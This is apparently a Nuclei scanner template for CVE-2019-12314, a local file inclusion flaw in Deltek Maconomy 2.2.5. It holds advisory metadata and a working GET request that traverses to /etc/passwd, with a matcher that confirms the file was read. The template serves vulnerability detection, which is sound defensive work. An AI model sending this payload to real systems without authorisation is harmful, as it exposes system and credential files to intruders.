id: CVE-2019-12314

info:
  name: Deltek Maconomy 2.2.5 - Local File Inclusion
  author: madrobot
  severity: critical
  description: Deltek Maconomy 2.2.5 is prone to local file inclusion via absolute path traversal in the WS.macx1.W_MCS/ PATH_INFO, as demonstrated by a cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS/etc/passwd URI.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, or even a complete compromise of the affected system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Deltek Maconomy 2.2.5.
  reference:
    - http://packetstormsecurity.com/files/153079/Deltek-Maconomy-2.2.5-Local-File-Inclusion.html
    - https://github.com/ras313/CVE-2019-12314/security/advisories/GHSA-8762-rf4g-23xm
    - https://github.com/JameelNabbo/exploits/blob/master/Maconomy%20Erp%20local%20file%20include.txt
    - https://github.com/merlinepedra25/nuclei-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-12314
    cwe-id: CWE-22
    epss-score: 0.8422
    epss-percentile: 0.99665
    cpe: cpe:2.3:a:deltek:maconomy:2.2.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: deltek
    product: maconomy
  tags: cve,cve2019,lfi,packetstorm,deltek,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022011fc363103c23aa3679e0cd41e670fd5223d1b2ec214712291c23feace661f0c022100d32fef28d80a66761dad1c7c1d581c2348e68ddfaff0055a814506803ce3c1aa:922c64590222798bb761d5b6d8e72950